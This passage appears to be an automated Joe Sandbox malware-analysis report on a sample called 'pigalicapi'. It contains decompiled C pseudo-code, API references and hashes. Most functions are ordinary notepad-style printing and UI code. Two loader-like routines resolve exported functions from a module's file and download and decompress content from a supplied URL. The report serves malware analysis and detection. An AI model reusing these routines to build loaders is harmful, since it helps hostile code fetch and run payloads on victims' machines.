											RaiseException(0xc000008c, 1, 0, 0);
											_v8 = 0;
											return E0080E542;
										}
									}
								}
								goto L41;
							}
							_v148 = _t123;
							E00811C50( &_v148, _t150 + 0x14);
							goto L39;
						}
					} else {
						__eflags = _t145 & 0x00000001;
						if((_t145 & 0x00000001) == 0) {
							goto L1;
						} else {
							goto L4;
						}
					}
				} else {
					L1:
					 *_t121 = 0;
					_t97 = 1;
					L40:
					 *[fs:0x0] = _v16;
					_pop(_t151);
					_pop(_t155);
					_pop(_t122);
					return E008159E6(_t97, _t122, _v28 ^ _t161, _t145, _t151, _t155);
				}
				L41:
			}

0x0080e2d0
0x0080e2d1
0x0080e2d3
0x0080e2d5
0x0080e2e0
0x0080e2e1
0x0080e2e7
0x0080e2ec
0x0080e2ee
0x0080e2f4
0x0080e2f8
0x0080e2fe
0x0080e301
0x0080e304
0x0080e30c
0x0080e30e
0x0080e316
0x0080e328
0x0080e332
0x0080e332
0x0080e334
0x0080e33b
0x0080e33b
0x0080e33d
0x0080e37b
0x0080e37d
0x0080e397
0x0080e397
0x0080e37f
0x0080e37f
0x0080e382
0x00000000
0x0080e384
0x0080e38f
0x0080e38f
0x0080e382
0x0080e39c
0x0080e39f
0x0080e3a3
0x0080e3a4
0x0080e3a5
0x0080e3a6
0x0080e33f
0x0080e33f
0x0080e341
0x0080e369
0x0080e369
0x0080e371
0x0080e375
0x0080e376
0x0080e377
0x0080e378
0x0080e343
0x0080e343
0x0080e346
0x00000000
0x0080e348
0x0080e353
0x0080e359
0x0080e35f
0x0080e363
0x0080e364
0x0080e365
0x0080e366
0x0080e366
0x0080e346
0x0080e341
0x0080e3a7
0x0080e3ad
0x0080e3b4
0x0080e3ba
0x0080e5c3
0x0080e5c3
0x00000000
0x0080e3c0
0x0080e3c0
0x0080e3c2
0x0080e3c8
0x0080e3c8
0x0080e3ca
0x0080e3cd
0x0080e3ce
0x0080e3d4
0x0080e3da
0x0080e3dc
0x00000000
0x00000000
0x0080e3ed
0x0080e3f2
0x0080e3f5
0x0080e3ff
0x0080e404
0x0080e406
0x0080e408
0x0080e408
0x0080e412
0x0080e423
0x0080e42d
0x0080e437
0x0080e43d
0x0080e443
0x0080e44d
0x0080e5a3
0x0080e5a9
0x00000000
0x0080e453
0x0080e453
0x0080e455
0x0080e45f
0x0080e463
0x0080e468
0x0080e46b
0x0080e46d
0x0080e47f
0x0080e47f
0x0080e481
0x0080e46f
0x0080e46f
0x0080e475
0x0080e477
0x0080e477
0x0080e487
0x0080e48e
0x0080e490
0x00000000
0x0080e496
0x0080e49c
0x0080e4a5
0x0080e4a8
0x0080e4b2
0x0080e4b9
0x0080e4bc
0x0080e4be
0x0080e4c0
0x0080e4e2
0x0080e4ef
0x0080e4ef
0x0080e4f4
0x0080e4f5
0x0080e4fb
0x0080e4fe
0x0080e502
0x0080e507
0x0080e50a
0x0080e50d
0x0080e54e
0x0080e551
0x0080e553
0x0080e55c
0x0080e562
0x0080e564
0x0080e56e
0x0080e56e
0x0080e564
0x0080e580
0x0080e58b
0x0080e591
0x0080e597
0x0080e59d
0x00000000
0x0080e4c2
0x0080e4c2
0x0080e4c8
0x0080e4c8
0x0080e4ca
0x00000000
0x00000000
0x0080e4cc
0x0080e4ce
0x00000000
0x0080e4d0
0x0080e4d9
0x0080e4db
0x0080e51f
0x00000000
0x0080e4dd
0x0080e4dd
0x0080e4de
0x0080e4e0
0x00000000
0x00000000
0x00000000
0x00000000
0x0080e4e0
0x0080e4db
0x00000000
0x0080e4ce
0x0080e52f
0x0080e535
0x0080e541
0x0080e541
0x0080e4c0
0x0080e490
0x00000000
0x0080e44d
0x0080e5af
0x0080e5be
0x00000000
0x0080e5be
0x0080e336
0x0080e336
0x0080e339
0x00000000
0x00000000
0x00000000
0x00000000
0x0080e339
0x0080e318
0x0080e318
0x0080e318
0x0080e31e
0x0080e5c9
0x0080e5cc
0x0080e5d4
0x0080e5d5
0x0080e5d6
0x0080e5e4
0x0080e5e4
0x00000000

APIs

SendMessageA.USER32 ref: 0080E353
CallWindowProcA.USER32 ref: 0080E3A7
GetMenuItemCount.USER32 ref: 0080E3D4
_memset.LIBCMT ref: 0080E3ED
GetMenuItemInfoA.USER32 ref: 0080E43D

Strings

1, xrefs: 0080E455
,, xrefs: 0080E408
d, xrefs: 0080E423

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ItemMenu$CallCountInfoMessageProcSendWindow_memset
String ID: ,$1$d
API String ID: 3483846687-1943914033
Opcode ID: ae4c7f1a8dccf5d3dfef06b51c35d9c61d6eed71a2ec4f4cb23233bcd6625e1b
Instruction ID: 6025877b63593f3f079a82cf7fcf043221a41f7da4afdd381151e8d530e1d8e5
Opcode Fuzzy Hash: ae4c7f1a8dccf5d3dfef06b51c35d9c61d6eed71a2ec4f4cb23233bcd6625e1b
Instruction Fuzzy Hash: B9917FB1A01619DFEB64CF54CC85BAABBB8FB44304F108999E949D7281D770AA44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00809110 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00809110(intOrPtr __ecx, struct HWND__* __edx, void* __eflags) {
				char _v8;
				char _v16;
				void* _v20;
				char _v92;
				intOrPtr* _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v128;
				char _v132;
				short _v144;
				signed int _v148;
				signed int _v180;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t87;
				char* _t94;
				void* _t97;
				void* _t105;
				signed int _t109;
				void* _t112;
				unsigned int _t116;
				signed int* _t136;
				signed int _t138;
				intOrPtr _t156;
				void* _t177;
				signed int* _t178;
				intOrPtr _t184;
				signed int _t188;

				_push(0xffffffff);
				_push(E0081FB73);
				_push( *[fs:0x0]);
				_t87 =  *0x869060; // 0xda7e2511
				_push(_t87 ^ _t188);
				 *[fs:0x0] =  &_v16;
				_t184 = __ecx;
				if(E00808E40(__edx, __ecx) != 0) {
					_v128 = 0;
					_v112 = 0;
					_v108 = 0;
					_v104 = 0;
					_v100 = DefWindowProcA;
					_v96 =  &_v92;
					E00816820( &_v92, 0, 0x42);
					 *_v96 = 0x42;
					 *((intOrPtr*)(_v96 + 4)) = 0;
					 *(_v96 + 0x14) = 0x4300c;
					_t94 =  &M008056C0;
					 *((intOrPtr*)(_v96 + 0x2a)) = _t94;
					 *((intOrPtr*)(_v96 + 0x2e)) = _t94;
					 *(_v96 + 0x14) =  *(_v96 + 0x14) | 0x00000100;
					 *(_v96 + 0x14) =  *(_v96 + 0x14) & 0xfffffdff;
					_v132 = 0x822d7c;
					_t136 = _t184 + 0x4bc;
					_v8 = 0;
					__eflags =  *_t136;
					if( *_t136 == 0) {
						L6:
						_t97 = 0;
						__eflags = 0;
					} else {
						__eflags = _t136[1];
						if(_t136[1] == 0) {
							goto L6;
						} else {
							_t127 = _t136[1];
							_t181 = ( *(_t136[1] + 0x26) & 0x0000ffff) + ( *(_t127 + 0x24) & 0x0000ffff);
							_t97 = GlobalAlloc(2, ( *(_t136[1] + 0x26) & 0x0000ffff) + ( *(_t127 + 0x24) & 0x0000ffff));
							_v20 = _t97;
							__eflags = _t97;
							if(__eflags != 0) {
								E008196A0(GlobalLock(_t97), _t136[1], _t181);
								GlobalUnlock(_v20);
								_t97 = _v20;
							}
						}
					}
					 *(_v96 + 8) = _t97;
					 *(_v96 + 0xc) = E0080C710(_t184 + 0x4b8, __eflags);
					 *((short*)(_v96 + 0x1c)) = 1;
					 *((short*)(_v96 + 0x1e)) =  *((intOrPtr*)(_t184 + 0x530));
					 *((short*)(_v96 + 0x18)) = 1;
					 *((short*)(_v96 + 0x1a)) =  *((intOrPtr*)(_t184 + 0x530));
					 *(_v96 + 0x14) =  *(_v96 + 0x14) & 0xfffffff7;
					_t105 = E0080AF50(GetActiveWindow(),  &_v132, _t184);
					__eflags = _t105 - 1;
					if(_t105 == 1) {
						_t177 =  *(_v96 + 8);
						__eflags = _t177;
						if(_t177 != 0) {
							E0080FE10(GlobalLock(_t177), _t136);
							GlobalUnlock(_t177);
						}
						_t112 =  *(_t184 + 0x4b8);
						_t178 = _t184 + 0x4b8;
						__eflags = _t112;
						if(_t112 != 0) {
							ClosePrinter(_t112);
							 *_t178 = 0;
						}
						E0080C5D0( *((intOrPtr*)(_t184 + 0x4c0)), _t178,  *(_v96 + 0xc));
						_t138 = 0;
						_v180 = 0;
						_v148 = 0;
						_v144 = 0x100;
						_v8 = 1;
						_t156 = _v96;
						_t116 =  *(_t156 + 0x14);
						_t171 =  *((intOrPtr*)(_t184 + 0x530)) - 1;
						__eflags = _t116 & 0x00000002;
						if((_t116 & 0x00000002) != 0) {
							_t138 = ( *(_t156 + 0x18) & 0x0000ffff) - 1;
							_t171 = ( *(_t156 + 0x1a) & 0x0000ffff) - 1;
							__eflags = ( *(_t156 + 0x1a) & 0x0000ffff) - 1;
						}
						E00806510( &_v180, _t184 + 0x34, _t171,  *_t178,  *((intOrPtr*)(_t184 + 0x4c0)), _t138, _t116 >> 0x00000005 & 1);
						__eflags = _v180;
						if(_v180 != 0) {
							_v180 = 0;
						}
					}
					GlobalFree( *(_v96 + 8));
					GlobalFree( *(_v96 + 0xc));
					_v8 = 0xffffffff;
					_t109 = _v112;
					__eflags = _t109;
					if(_t109 != 0) {
						E00815701(_t109);
					}
					__eflags = 0;
					 *[fs:0x0] = _v16;
					return 0;
				} else {
					MessageBoxA( *(_t184 + 4), "Print operation failed", "MTPad", 0x10);
					 *[fs:0x0] = _v16;
					return 0;
				}
			}

0x00809113
0x00809115
0x00809120
0x0080912a
0x00809131
0x00809135
0x0080913b
0x00809145
0x00809182
0x00809185
0x00809188
0x0080918b
0x0080918e
0x00809191
0x00809194
0x0080919c
0x008091a5
0x008091ab
0x008091b5
0x008091ba
0x008091c0
0x008091c6
0x008091d0
0x008091da
0x008091e1
0x008091e7
0x008091ea
0x008091ec
0x00809234
0x00809234
0x00809234
0x008091ee
0x008091ee
0x008091f1
0x00000000
0x008091f3
0x008091f3
0x008091fe
0x00809203
0x00809209
0x0080920c
0x0080920e
0x0080921d
0x00809229
0x0080922f
0x0080922f
0x0080920e
0x008091f1
0x0080923f
0x0080924a
0x00809255
0x00809262
0x00809269
0x00809276
0x0080927d
0x0080928c
0x00809291
0x00809294
0x0080929d
0x008092a0
0x008092a2
0x008092ae
0x008092b4
0x008092b4
0x008092ba
0x008092c0
0x008092c6
0x008092c8
0x008092cb
0x008092d1
0x008092d1
0x008092e4
0x008092e9
0x008092eb
0x008092f1
0x008092f7
0x00809300
0x00809304
0x0080930d
0x00809310
0x00809311
0x00809313
0x0080931d
0x0080931e
0x0080931e
0x0080931e
0x0080933c
0x00809341
0x00809348
0x0080934a
0x0080934a
0x00809348
0x00809361
0x0080936a
0x0080936c
0x00809373
0x00809376
0x00809378
0x0080937b
0x0080937b
0x00809380
0x00809385
0x00809393
0x00809147
0x00809157
0x00809162
0x00809170
0x00809170

APIs

MessageBoxA.USER32 ref: 00809157
_memset.LIBCMT ref: 00809194
GlobalAlloc.KERNEL32(00000002,?,?,?,?), ref: 00809203
GlobalLock.KERNEL32 ref: 00809211
_memmove.LIBCMT ref: 0080921D
GlobalUnlock.KERNEL32(?,?,?,?,?,?,?), ref: 00809229
GetActiveWindow.USER32 ref: 00809281
GlobalLock.KERNEL32 ref: 008092A5
GlobalUnlock.KERNEL32(?,?,?,?,?), ref: 008092B4

Strings

MTPad, xrefs: 0080914C
Print operation failed, xrefs: 00809151

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Global$LockUnlock$ActiveAllocMessageWindow_memmove_memset
String ID: MTPad$Print operation failed
API String ID: 3143621014-2011953037
Opcode ID: a68fe17fa2dabd6ecd7f8ed4adf99195095836a93145e9b797e9d91133032634
Instruction ID: 826ff54bf4a2a4950a0e1a6e2c1736a44726bdc5176fdeb43e35b2043d6c05cf
Opcode Fuzzy Hash: a68fe17fa2dabd6ecd7f8ed4adf99195095836a93145e9b797e9d91133032634
Instruction Fuzzy Hash: 13814A75A00204DFCB64CFA8D885AAAF7B9FF48310F10865AE859DB392D775E846CF50

Uniqueness

Uniqueness Score: -1.00%

Function 040035E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040035E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E04002E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = L04003370(_v536, _t155, _v544, _v540);
									_v552 = E04003580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E04002E50(_v552,  &_v820, 0, 0x100);
										E04002E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E040035E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

APIs

GetModuleHandleA.KERNEL32(?), ref: 040035F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 0400362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 04003651
GetFileSize.KERNEL32(000000FF,00000000), ref: 04003673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040036DD
lstrlenA.KERNEL32(?), ref: 0400371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 0400380C
lstrcatA.KERNEL32(?,.dll), ref: 0400381E
lstrcpyA.KERNEL32(?,?), ref: 0400383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 040038B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040038C7
CloseHandle.KERNEL32(000000FF), ref: 040038D4

Strings

.dll, xrefs: 04003812

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction ID: c2c5132629a25a5507b869beac9dac576087064a04ada7ddd23a517ed68c32e0
Opcode Fuzzy Hash: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction Fuzzy Hash: AC814EB5940228ABEB35DF50DC89BDDB7B5AB48304F1081D8EA09B7280D674AFC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04002AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04002AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0x4013b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0x4013b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0x4013b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0x4013b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E04007D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E04007DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E04007D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E04002E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E04007B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 04002BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04002C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04002C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 04002C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 04002D35
lstrcmpiA.KERNEL32(?,gzip), ref: 04002D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002DC8
InternetCloseHandle.WININET(00000000), ref: 04002DD2
GetLastError.KERNEL32 ref: 04002DDA

Strings

gzip, xrefs: 04002D3F
Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 04002B32

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction ID: 59e70dbda308a2a2546c0d296605ce979221f8659c43edef85f985c08622dbb4
Opcode Fuzzy Hash: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction Fuzzy Hash: 6B91FC75904218ABEB65CF94CC48BEAB7B5BB48304F50819DE609BB280DB796E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00810880 Relevance: 19.6, APIs: 13, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00810880(intOrPtr __ecx, void* __edx, void* __esi) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagLOGFONTA _v84;
				char _v140;
				void _v144;
				void* _v148;
				void* _v152;
				intOrPtr _v156;
				void* __ebx;
				void* __edi;
				signed int _t51;
				void* _t55;
				signed int _t64;
				intOrPtr _t65;
				int _t67;
				void* _t68;
				int _t76;
				intOrPtr _t80;
				void* _t82;
				intOrPtr _t89;
				void* _t97;
				intOrPtr _t103;
				struct HDC__* _t104;
				signed int _t106;
				void* _t107;

				_t105 = __esi;
				_t97 = __edx;
				_t51 =  *0x869060; // 0xda7e2511
				_v8 = _t51 ^ _t106;
				_t103 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x14));
				_v156 = __ecx;
				if(( *(_t80 + 8) & 0x00000800) == 0) {
					_t104 = GetWindowDC(0);
					_v148 = 0;
					if(( *(_t80 + 0xc) & 0x00001000) == 0) {
						_t55 =  *(__esi + 0xa4);
					} else {
						_v84.lfHeight = 0;
						E00816820( &(_v84.lfWidth), 0, 0x38);
						_t107 = _t107 + 0xc;
						GetObjectA( *(__esi + 0xa4), 0x3c,  &_v84);
						_v84.lfWeight = _v84.lfWeight + 0xc8;
						_t55 = CreateFontIndirectA( &_v84);
						_v148 = _t55;
					}
					_v152 = SelectObject(_t104, _t55);
					_v24.left = 0;
					_v24.top = 0;
					_v24.right = 0;
					_v24.bottom = 0;
					DrawTextA(_t104,  *(_t80 + 4), 0xffffffff,  &_v24, 0x424);
					_t82 = _v24.right - _v24.left;
					SelectObject(_t104, _v152);
					_v144 = 0;
					E00816820( &_v140, 0, 0x38);
					GetObjectA( *(_t105 + 0xa4), 0x3c,  &_v144);
					_t64 = _v144;
					if(_t64 < 0) {
						_t64 =  ~_t64;
					}
					_t89 =  *((intOrPtr*)(_t105 + 0x9c));
					_t65 = _t64 + 8;
					if(_t65 <= _t89) {
						_t65 = _t89;
					}
					 *((intOrPtr*)(_v156 + 0x10)) = _t65;
					_t46 =  *((intOrPtr*)(_t105 + 0xb0)) +  *(_t105 + 0x98) * 2 + 5; // 0xeb102474
					_t67 = GetSystemMetrics(0x47);
					_t101 = _v156;
					_t68 = _v148;
					_t85 = _t82 + _t46 - _t67 + 1;
					 *((intOrPtr*)(_v156 + 0xc)) = _t82 + _t46 - _t67 + 1;
					if(_t68 != 0) {
						DeleteObject(_t68);
					}
					return E008159E6(ReleaseDC(0, _t104), _t85, _v8 ^ _t106, _t101, _t104, _t105);
				} else {
					_t76 = GetSystemMetrics(0xf);
					asm("cdq");
					 *(_t103 + 0x10) = _t76 - _t97 >> 1;
					 *(_t103 + 0xc) = 0;
					return E008159E6(_t76 - _t97 >> 1, _t80, _v8 ^ _t106, _t97, _t103, __esi);
				}
			}

0x00810880
0x00810880
0x00810889
0x00810890
0x00810895
0x00810897
0x008108a1
0x008108a7
0x008108d8
0x008108e3
0x008108e9
0x00810929
0x008108eb
0x008108ee
0x008108f5
0x00810900
0x0081090a
0x00810910
0x0081091b
0x00810921
0x00810921
0x00810945
0x0081094f
0x00810952
0x00810955
0x00810958
0x0081095b
0x0081096a
0x0081096f
0x00810980
0x0081098a
0x008109a2
0x008109a8
0x008109b0
0x008109b2
0x008109b2
0x008109b4
0x008109ba
0x008109bf
0x008109c1
0x008109c1
0x008109c9
0x008109dd
0x008109e1
0x008109e7
0x008109ef
0x008109f5
0x008109f6
0x008109fb
0x008109fe
0x008109fe
0x00810a1c
0x008108a9
0x008108ab
0x008108b1
0x008108b6
0x008108b9
0x008108cf
0x008108cf

APIs

GetSystemMetrics.USER32 ref: 008108AB
GetWindowDC.USER32(00000000,?,?), ref: 008108D2
_memset.LIBCMT ref: 008108F5
GetObjectA.GDI32(?,0000003C,?), ref: 0081090A
CreateFontIndirectA.GDI32(?), ref: 0081091B
SelectObject.GDI32(00000000,?), ref: 00810931
DrawTextA.USER32(00000000,?,000000FF,0080C567,00000424), ref: 0081095B
SelectObject.GDI32(00000000,?), ref: 0081096F
_memset.LIBCMT ref: 0081098A
GetObjectA.GDI32(?,0000003C,00000000), ref: 008109A2
GetSystemMetrics.USER32 ref: 008109E1
DeleteObject.GDI32(?), ref: 008109FE
ReleaseDC.USER32 ref: 00810A07

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Object$MetricsSelectSystem_memset$CreateDeleteDrawFontIndirectReleaseTextWindow
String ID:
API String ID: 2607864528-0
Opcode ID: e0aef9483e7dc31c6579b558712335d584baa9ce0fda77e2a54f1ceda9815248
Instruction ID: a77289980426dc71a20719890ce71119193a59db1069fb539f2229f769240fa9
Opcode Fuzzy Hash: e0aef9483e7dc31c6579b558712335d584baa9ce0fda77e2a54f1ceda9815248
Instruction Fuzzy Hash: 71410B70A00209DFDB60DFA8DC85FAAB7B8FF44304F108559E549D7282DB709A45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0080C9B0 Relevance: 19.6, APIs: 13, Instructions: 89
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0080C9B0(CHAR* __eax, signed int __ecx, CHAR* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				CHAR* _t12;
				int _t17;
				int _t20;
				CHAR* _t23;
				CHAR* _t25;
				intOrPtr _t28;
				intOrPtr _t30;
				CHAR* _t35;
